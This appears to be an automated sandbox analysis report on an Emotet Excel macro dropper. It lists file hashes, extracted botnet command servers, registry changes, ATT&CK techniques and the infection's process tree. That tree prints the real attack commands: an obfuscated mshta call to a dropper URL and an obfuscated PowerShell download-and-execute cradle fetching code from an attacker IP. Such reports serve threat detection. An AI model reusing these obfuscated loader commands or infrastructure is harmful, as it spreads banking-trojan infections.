emotet | 5eb512924e585833ee9f0111efd74c3e3ced26d8a78db2b71d87bb6c9f684791

Analysis

max time kernel
119s
max time network
121s
platform
windows7_x64
resource
win7-en-20211208
submitted
20-01-2022 21:08

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Report Analysis Logs

General

Target

pau073.xlsm
Size

49KB
MD5

0bd0bb6e3b99c184dc8b8a58d2b5f58d
SHA1

3fec116f481763a3adc7c4afab067ce8e78e7cea
SHA256

5eb512924e585833ee9f0111efd74c3e3ced26d8a78db2b71d87bb6c9f684791
SHA512

2e176bd2e223410b56ff698445963a83d0eaac73ba324f36341e1f8605acfb6730967c76da078b77b8323ba6708b23ce720351870a57ea42a295f91a7754d2ed

Score

10^/10

emotet epoch5 banker trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0xb907d607/fer/fe1.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://185.7.214.7/fer/fe1.png

Extracted

Family

emotet

Botnet

Epoch5

45.138.98.34:80

69.16.218.101:8080

51.210.242.234:8080

185.148.168.220:8080

142.4.219.173:8080

54.38.242.185:443

191.252.103.16:80

104.131.62.48:8080

62.171.178.147:8080

217.182.143.207:443

168.197.250.14:80

37.44.244.177:8080

66.42.57.149:443

210.57.209.142:8080

159.69.237.188:443

116.124.128.206:8080

128.199.192.135:8080

195.154.146.35:443

185.148.168.15:8080

195.77.239.39:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	572	1556	cmd.exe	EXCEL.EXE

Blocklisted process makes network request 7 IoCs

Processes:

mshta.exepowershell.exerundll32.exe

flow pid process

4 616 mshta.exe
5 1640 powershell.exe
7 1640 powershell.exe
9 1312 rundll32.exe
10 1312 rundll32.exe
11 1312 rundll32.exe
13 1312 rundll32.exe
Downloads MZ/PE file
Loads dropped DLL 8 IoCs

Processes:

rundll32.exerundll32.exe

pid process

556 rundll32.exe
556 rundll32.exe
556 rundll32.exe
556 rundll32.exe
1608 rundll32.exe
1608 rundll32.exe
1608 rundll32.exe
1608 rundll32.exe
Drops file in System32 directory 1 IoCs

Processes:

rundll32.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\Eejzvelm\uwgqejq.trm rundll32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry
T1012

System Information Discovery
T1082

Processes:

EXCEL.EXE

description ioc process

Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE

flow	pid	process
4	616	mshta.exe
5	1640	powershell.exe
7	1640	powershell.exe
9	1312	rundll32.exe
10	1312	rundll32.exe
11	1312	rundll32.exe
13	1312	rundll32.exe

pid	process
556	rundll32.exe
556	rundll32.exe
556	rundll32.exe
556	rundll32.exe
1608	rundll32.exe
1608	rundll32.exe
1608	rundll32.exe
1608	rundll32.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\Eejzvelm\uwgqejq.trm	rundll32.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 32 IoCs

adware spyware

Modify Registry

T1112

Processes:

EXCEL.EXEmshta.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\Toolbar	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command	EXCEL.EXE

Modifies registry class 64 IoCs

Processes:

EXCEL.EXE

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ = "&Open"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\ = "&Open"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" /p %1"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\topic	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" %1"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32\ThreadingModel = "Apartment"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\topic\ = "system"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\ = "&Edit"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" /p %1"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\application\ = "Excel"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\ = "&Open"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" %1"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\DefaultIcon	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon\mhtmlfile	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ = "&Open"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\ = "[open(\"%1\")]"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon\htmlfile	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32\ = "C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohevi.dll"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\DefaultIcon\ = "\"%1\""	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\ShellEx	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic\ = "system"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic\ = "system"	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

1556 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exerundll32.exe

pid process

1640 powershell.exe
1312 rundll32.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1640 powershell.exe
Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

EXCEL.EXE

pid process

1556 EXCEL.EXE
1556 EXCEL.EXE
Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

EXCEL.EXE

pid process

1556 EXCEL.EXE
1556 EXCEL.EXE
1556 EXCEL.EXE

pid	process
1556	EXCEL.EXE

pid	process
1640	powershell.exe
1312	rundll32.exe

description	pid	process
Token: SeDebugPrivilege	1640	powershell.exe

pid	process
1556	EXCEL.EXE
1556	EXCEL.EXE

pid	process
1556	EXCEL.EXE
1556	EXCEL.EXE
1556	EXCEL.EXE

Suspicious use of WriteProcessMemory 44 IoCs

Processes:

EXCEL.EXEcmd.exemshta.exepowershell.execmd.exerundll32.exerundll32.exerundll32.exe

description	pid	process	target process
PID 1556 wrote to memory of 572	1556	EXCEL.EXE	cmd.exe
PID 1556 wrote to memory of 572	1556	EXCEL.EXE	cmd.exe
PID 1556 wrote to memory of 572	1556	EXCEL.EXE	cmd.exe
PID 1556 wrote to memory of 572	1556	EXCEL.EXE	cmd.exe
PID 572 wrote to memory of 616	572	cmd.exe	mshta.exe
PID 572 wrote to memory of 616	572	cmd.exe	mshta.exe
PID 572 wrote to memory of 616	572	cmd.exe	mshta.exe
PID 572 wrote to memory of 616	572	cmd.exe	mshta.exe
PID 616 wrote to memory of 1640	616	mshta.exe	powershell.exe
PID 616 wrote to memory of 1640	616	mshta.exe	powershell.exe
PID 616 wrote to memory of 1640	616	mshta.exe	powershell.exe
PID 616 wrote to memory of 1640	616	mshta.exe	powershell.exe
PID 1640 wrote to memory of 1788	1640	powershell.exe	cmd.exe
PID 1640 wrote to memory of 1788	1640	powershell.exe	cmd.exe
PID 1640 wrote to memory of 1788	1640	powershell.exe	cmd.exe
PID 1640 wrote to memory of 1788	1640	powershell.exe	cmd.exe
PID 1788 wrote to memory of 556	1788	cmd.exe	rundll32.exe
PID 1788 wrote to memory of 556	1788	cmd.exe	rundll32.exe
PID 1788 wrote to memory of 556	1788	cmd.exe	rundll32.exe
PID 1788 wrote to memory of 556	1788	cmd.exe	rundll32.exe
PID 1788 wrote to memory of 556	1788	cmd.exe	rundll32.exe
PID 1788 wrote to memory of 556	1788	cmd.exe	rundll32.exe
PID 1788 wrote to memory of 556	1788	cmd.exe	rundll32.exe
PID 556 wrote to memory of 1608	556	rundll32.exe	rundll32.exe
PID 556 wrote to memory of 1608	556	rundll32.exe	rundll32.exe
PID 556 wrote to memory of 1608	556	rundll32.exe	rundll32.exe
PID 556 wrote to memory of 1608	556	rundll32.exe	rundll32.exe
PID 556 wrote to memory of 1608	556	rundll32.exe	rundll32.exe
PID 556 wrote to memory of 1608	556	rundll32.exe	rundll32.exe
PID 556 wrote to memory of 1608	556	rundll32.exe	rundll32.exe
PID 1608 wrote to memory of 828	1608	rundll32.exe	rundll32.exe
PID 1608 wrote to memory of 828	1608	rundll32.exe	rundll32.exe
PID 1608 wrote to memory of 828	1608	rundll32.exe	rundll32.exe
PID 1608 wrote to memory of 828	1608	rundll32.exe	rundll32.exe
PID 1608 wrote to memory of 828	1608	rundll32.exe	rundll32.exe
PID 1608 wrote to memory of 828	1608	rundll32.exe	rundll32.exe
PID 1608 wrote to memory of 828	1608	rundll32.exe	rundll32.exe
PID 828 wrote to memory of 1312	828	rundll32.exe	rundll32.exe
PID 828 wrote to memory of 1312	828	rundll32.exe	rundll32.exe
PID 828 wrote to memory of 1312	828	rundll32.exe	rundll32.exe
PID 828 wrote to memory of 1312	828	rundll32.exe	rundll32.exe
PID 828 wrote to memory of 1312	828	rundll32.exe	rundll32.exe
PID 828 wrote to memory of 1312	828	rundll32.exe	rundll32.exe
PID 828 wrote to memory of 1312	828	rundll32.exe	rundll32.exe

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\pau073.xlsm
1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1556

C:\Windows\SysWOW64\cmd.exe
cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe1.html
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:572

C:\Windows\SysWOW64\mshta.exe
mshta http://0xb907d607/fer/fe1.html
3⤵
- Blocklisted process makes network request
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:616

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fe1.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1640

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
5⤵
- Suspicious use of WriteProcessMemory
PID:1788

C:\Windows\SysWow64\rundll32.exe
C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:556

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:1608

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Eejzvelm\uwgqejq.trm",UbqZYnRWMDK
8⤵
- Suspicious use of WriteProcessMemory
PID:828

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Eejzvelm\uwgqejq.trm",DllRegisterServer
9⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:1312

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Public\Documents\ssd.dll
MD5
0fe6e77d37589d3ab2dc51923c1fb906

SHA1
d292985fcd5ff945cc5e248f7c461d77286850eb

SHA256
f60261bf408c29491c1038f453cffb6ec1899bc61ae1ffc3c7b904a54efd15f3

SHA512
97e87f7922d2c92d3e139fd9d1621f0eef42564c3a3bd4c81998049180b8ee9fab82c97135b89e377c95aca7b545f536098c887926b5d836446d38e73662ce31

Download Submit
\Users\Public\Documents\ssd.dll
MD5
0fe6e77d37589d3ab2dc51923c1fb906

SHA1
d292985fcd5ff945cc5e248f7c461d77286850eb

SHA256
f60261bf408c29491c1038f453cffb6ec1899bc61ae1ffc3c7b904a54efd15f3

SHA512
97e87f7922d2c92d3e139fd9d1621f0eef42564c3a3bd4c81998049180b8ee9fab82c97135b89e377c95aca7b545f536098c887926b5d836446d38e73662ce31

Download Submit
\Users\Public\Documents\ssd.dll
MD5
0fe6e77d37589d3ab2dc51923c1fb906

SHA1
d292985fcd5ff945cc5e248f7c461d77286850eb

SHA256
f60261bf408c29491c1038f453cffb6ec1899bc61ae1ffc3c7b904a54efd15f3

SHA512
97e87f7922d2c92d3e139fd9d1621f0eef42564c3a3bd4c81998049180b8ee9fab82c97135b89e377c95aca7b545f536098c887926b5d836446d38e73662ce31

Download Submit
\Users\Public\Documents\ssd.dll
MD5
0fe6e77d37589d3ab2dc51923c1fb906

SHA1
d292985fcd5ff945cc5e248f7c461d77286850eb

SHA256
f60261bf408c29491c1038f453cffb6ec1899bc61ae1ffc3c7b904a54efd15f3

SHA512
97e87f7922d2c92d3e139fd9d1621f0eef42564c3a3bd4c81998049180b8ee9fab82c97135b89e377c95aca7b545f536098c887926b5d836446d38e73662ce31

Download Submit
\Users\Public\Documents\ssd.dll
MD5
0fe6e77d37589d3ab2dc51923c1fb906

SHA1
d292985fcd5ff945cc5e248f7c461d77286850eb

SHA256
f60261bf408c29491c1038f453cffb6ec1899bc61ae1ffc3c7b904a54efd15f3

SHA512
97e87f7922d2c92d3e139fd9d1621f0eef42564c3a3bd4c81998049180b8ee9fab82c97135b89e377c95aca7b545f536098c887926b5d836446d38e73662ce31

Download Submit
\Users\Public\Documents\ssd.dll
MD5
0fe6e77d37589d3ab2dc51923c1fb906

SHA1
